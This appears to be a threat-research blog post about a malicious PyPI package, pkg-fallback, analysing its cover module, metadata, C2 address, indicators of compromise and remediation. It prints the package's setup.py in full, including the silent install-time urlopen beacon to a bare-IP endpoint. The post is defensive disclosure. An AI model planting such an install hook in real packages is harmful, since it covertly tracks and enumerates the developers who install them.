CentrioleBlog
Back to blog

Threat Research

pkg-fallback Ships string_kit. Its Beacon Ships to 157.254.194.200.

A PyPI package that calls itself pkg-fallback, ships a module called string_kit, and fires an unconditional HTTP beacon to a bare IP at install time. One version, one victim window, one open question: what was the operator enumerating?

Date

Reading time

6 min read

Author

Centriole Research
Share
pkg-fallback Ships string_kit. Its Beacon Ships to 157.254.194.200.

The package is called pkg-fallback. The module it installs is string_kit. The README describes string-kit. Three names, zero overlap. Before pip writes a single file to disk, setup.py opens an HTTP connection to 157.254.194.200:8080 and fetches a tarball named dependency-payload-1.0.0.tar.gz. The exception handler swallows any failure without a trace.

PyPI quarantined version 1.1.0 on June 28, 2026. One version exists. The C2 is offline.

Package Anatomy

The tarball pkg_fallback-1.1.0.tar.gz (SHA-256: 272ff22462e20ef5fd5766729843adfc577ff8a72c6c87e809c56efc6e042921, verified against the OSV advisory and recomputed from the downloaded artifact) unpacks to ten files totaling 1.7 kB. This is an sdist.

pkg_fallback-1.1.0/
  PKG-INFO                            843 bytes
  README.md                           307 bytes
  pyproject.toml                       81 bytes
  setup.cfg                            38 bytes
  setup.py                            816 bytes      ← malicious
  string_kit/__init__.py              366 bytes
  pkg_fallback.egg-info/PKG-INFO      843 bytes
  pkg_fallback.egg-info/SOURCES.txt   200 bytes
  pkg_fallback.egg-info/dependency_links.txt   1 byte
  pkg_fallback.egg-info/top_level.txt  11 bytes

The file top_level.txt contains string_kit. The package name registered on PyPI is pkg-fallback. The module the user would actually import is string_kit. There is no module named pkg_fallback anywhere in the tarball. The name divergence is not incidental.

The string_kit/__init__.py (366 bytes, timestamped 01:08 UTC) contains six legitimate string utility functions: trim, lower, upper, pad, reverse, truncate. These functions work. They are cover.

The attacker-added file is setup.py. Everything else is either functional cover or packaging boilerplate generated by setuptools at build time. The pkg_fallback.egg-info/ directory was generated at 01:38 UTC, thirty minutes after string_kit/__init__.py was written. pyproject.toml was written at 01:18 UTC. The sequence: cover module first, beacon last.

Manifest Audit

The setup.py url and download_url fields are both set to http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gz, extracted from PKG-INFO during tarball analysis. Both fields resolve to the C2 beacon URL, which is also displayed on the PyPI project page as the package homepage and download link. The operator embedded the C2 endpoint in the most visible metadata fields in the registry.

pyproject.toml specifies only the build backend (setuptools.build_meta). No [project.dependencies] block. No direct URL dependencies. No entry points.

Execution Trigger

The trigger fires at install time, inside setup.py, before setup() is called.

setup.py
import os
import sys
from setuptools import setup, find_packages
 
HOST = os.environ.get("STRING_KIT_HOST", "157.254.194.200")
PORT = os.environ.get("STRING_KIT_PORT", "8080")
BINARY_URL = f"http://{HOST}:{PORT}/dependency-payload-1.0.0.tar.gz"
 
try:
    import urllib.request
    urllib.request.urlopen(BINARY_URL, timeout=5)
except Exception:
    pass

The urlopen call has no response handling. No content is read. No file is written. The call opens the connection, sends the HTTP GET, and discards whatever the server returns. The except Exception: pass block ensures the install completes cleanly whether the C2 responds or not.

What the connection does transmit: the installer’s IP address, the HTTP User-Agent header (Python’s default urllib agent, Python-urllib/<version>), and the timing of the install event. This is sufficient for network enumeration. An operator scanning for Python developers inside a target organization’s IP range receives a timestamped beacon with a source IP for every successful install. No credentials. No files. No persistence.

The environment variables STRING_KIT_HOST and STRING_KIT_PORT allow the C2 address to be overridden at install time. No prior package using these variable names appears in the OSSF malicious-packages repository, VirusTotal, Socket.dev, or PyPI search.

The --no-build-isolation and --ignore-requires-python pip flags do not suppress this. The beacon fires during the build/setup phase. Only PIP_NO_DEPS=1 combined with manual tarball inspection would prevent it. pip install --dry-run does not run setup.py.

C2 and Infrastructure

The beacon target is http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gz.

157.254.194.200:8080 returned a connection timeout across multiple probe attempts at the time of analysis. The C2 is offline. We checked VirusTotal and Shodan for the IP. Neither returned prior reporting. The IP does not appear in the OSSF malicious-packages repository, urlscan.io, or Criminal IP.

The payload filename embedded in the URL, dependency-payload-1.0.0.tar.gz, is operator-chosen and describes function rather than disguising it. This is either a development artifact or deliberate: the operator did not expect the URL to be read by humans. It appeared in the PyPI project homepage field.

OPSEC Failures

The C2 URL was placed in setup.py and simultaneously in the url and download_url fields of setup(), which propagate directly into PKG-INFO and into the PyPI registry metadata. Anyone inspecting the package page before installing would see http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gz listed as both the homepage and download URL. Amazon Inspector flagged the package within hours of publication. The metadata exposure was the most direct path to detection.

The payload filename contains the string dependency-payload, making the intent explicit in the first artifact a scanner or human reviewer would inspect.

IOC Table

IndicatorTypeValueMethod
pkg-fallbackPyPI package1.1.0Identified during triage; confirmed malicious in OSV advisory MAL-2026-6557
pkg_fallback-1.1.0.tar.gzSource distributionSHA-256: 272ff22462e20ef5fd5766729843adfc577ff8a72c6c87e809c56efc6e042921Hash recomputed from downloaded tarball; matches OSV advisory and PyPI simple index
setup.pyMalicious fileSHA-256: e63cda868cf61706d3d8666c109977ecbcbc7b83f0d784a0330a4196bf034822Hash recomputed from extracted tarball; matches OSV evidence_files entry
http://157.254.194.200:8080/dependency-payload-1.0.0.tar.gzC2 beacon endpointOffline at time of analysisExtracted from setup.py module-level urlopen call and from PKG-INFO url/download_url fields during manifest audit
pkguploadPublisher accountPyPIPulled from registry metadata during triage
STRING_KIT_HOSTConfiguration variableC2 overrideExtracted from setup.py os.environ.get call
STRING_KIT_PORTConfiguration variablePort overrideExtracted from setup.py os.environ.get call

Affected Versions

VersionPublished (UTC)Tarball SHA-256StatusOSV Entry
1.1.02026-06-28272ff22...QuarantinedMAL-2026-6557

Remediation

If pkg-fallback==1.1.0 appears in any lockfile or pip freeze output, remove it. The package was quarantined by PyPI and is no longer installable.

The install-time beacon transmitted the installing machine’s IP address and install timestamp to 157.254.194.200:8080. Review network egress logs for outbound connections to that IP on port 8080, particularly in the window of June 28, 2026. No credentials were targeted and no files were written to disk, so credential rotation is not indicated. If the install occurred inside a CI/CD pipeline, review the pipeline’s outbound network log for the run that installed the package.

The package installed a functional string_kit module. Remove it: pip uninstall pkg-fallback. Verify no downstream code imports string_kit expecting the malicious copy to remain.